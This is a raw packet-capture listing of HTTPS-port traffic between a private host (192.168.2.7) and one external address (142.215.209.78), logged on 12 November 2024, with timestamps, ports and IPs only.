Nov 12, 2024 08:06:00.072612047 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.072810888 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.072818995 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.072992086 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.073002100 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.073329926 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.073390007 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.073441982 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.073441982 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.073451042 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.117970943 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.191091061 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.191118002 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.191145897 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.191240072 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.191703081 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.191709042 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.191788912 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.191796064 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.231981039 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.231991053 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.232100964 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.232115030 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.274158955 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.309690952 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.309715986 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.309751987 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.309804916 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.309914112 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.310586929 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.310595036 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.310619116 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.310637951 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.310708046 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.350394011 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.350409031 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.350522041 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.350537062 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.399219036 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.427947998 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.427959919 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.427992105 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.428361893 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.428361893 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.428668022 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.428675890 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.430826902 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.430840969 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.468889952 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.468900919 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.469027996 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.469041109 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.512224913 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.546494961 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.546506882 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.546536922 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.546621084 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.546689987 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.547029972 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.547038078 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.547058105 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.547092915 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.547092915 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.547131062 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.548043966 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.548049927 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.548103094 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.548114061 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.602308035 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.665420055 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.665436983 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.665466070 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.665493965 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.665505886 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.665529966 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.665560961 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.665615082 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.665625095 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.665709972 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.666095972 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.666104078 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.666183949 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.666191101 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.706105947 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.706260920 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.706307888 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.758534908 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.783750057 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.783761978 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.783904076 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.783917904 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.784308910 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.784317017 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.784396887 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.784404993 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.785077095 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.785125017 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.785130024 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.785145998 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.785278082 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.836709023 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.870825052 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.870836020 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.870892048 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.870903015 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.902486086 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.902494907 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.902585983 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.902596951 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.903026104 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.903033972 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.903104067 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.903110981 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.903372049 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.903378963 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.903429985 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:00.903439999 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:00.946063995 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.020756960 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.020771027 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.020937920 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.020957947 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.021287918 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.021296024 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.021347046 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.021356106 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.021873951 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.021934986 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.021939993 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.021960974 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.021997929 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.022502899 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.022604942 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.022614002 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.076317072 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.139333010 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.139353037 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.139631033 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.139643908 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.139672995 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.139724016 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.139727116 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.139741898 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.139801025 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.140256882 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.140335083 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.140341997 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.140671968 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.140800953 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.140806913 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.180464983 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.257998943 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.258013964 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.258124113 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.258136988 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.258147955 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.258219957 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.258227110 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.258609056 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.258676052 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.258683920 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.259206057 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.259273052 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.259280920 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.299156904 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.299268961 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.299284935 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.352303028 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.377259970 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.377311945 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.377398014 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.377404928 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.377408028 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.377482891 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.377495050 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.377599001 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.377815008 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.377824068 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.377881050 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.377888918 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.417526007 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.417646885 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.417659998 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.461719036 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.495326996 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.495336056 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.495502949 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.495512962 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.495621920 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.495629072 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.495682001 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.495690107 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.496320963 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.496330023 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.496380091 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.496387959 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.496478081 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.496505976 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.496545076 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.496545076 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.496552944 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.536119938 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.536242008 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.536253929 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.588236094 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.613929033 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.613939047 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.613964081 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.614125013 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.614417076 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.614424944 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.614496946 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.614505053 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.614989996 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.614998102 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.615061998 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.615068913 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.615425110 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.615452051 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.615494013 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.615503073 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.615514040 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.654680014 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.654839039 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.654853106 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.697849035 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.732605934 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.732616901 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.732686043 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.732697010 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.732953072 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.732960939 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.733025074 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.733036041 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.733395100 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.733422041 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.733463049 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.733479023 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.733489990 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.733778000 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.733841896 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.733849049 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.773402929 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.773627043 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.773636103 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.821026087 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.851217985 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.851231098 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.851305962 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.851321936 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.851511002 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.851517916 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.851569891 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.851581097 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.851588964 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.851823092 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.851859093 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.851883888 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.851902962 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.851938009 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.852358103 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.852418900 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.852427006 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.852839947 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.852895975 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.852902889 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.892128944 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.892193079 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.892208099 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.946033001 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.969985008 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.969996929 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.970076084 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.970088959 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.970277071 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.970283985 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.970381975 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.970381975 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.970391989 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.970660925 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.970700026 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.970724106 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.970730066 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.970762968 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.970987082 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:01.971055984 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:01.971062899 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.010852098 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.010900974 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.010977983 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.010977983 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.010992050 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.055411100 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.088529110 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.088537931 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.088639021 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.088639975 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.088655949 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.088799953 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.088828087 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.088867903 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.088867903 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.088876009 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.089221954 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.089277029 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.089283943 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.089521885 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.089584112 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.089591980 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.129287958 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.129348993 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.129420996 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.129447937 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.129460096 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.180413961 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.208046913 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.208055973 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.208132982 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.208153963 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.208741903 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.208779097 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.208801031 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.208811045 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.208837986 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.209326029 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.209384918 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.209393978 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.209630966 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.209734917 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.209742069 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.210000992 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.210103989 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.210114002 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.247869015 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.247955084 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.247972965 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.248334885 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.248342037 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:02.248400927 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:02.248414040 CET	443	49702	142.215.209.78	192.168.2.7
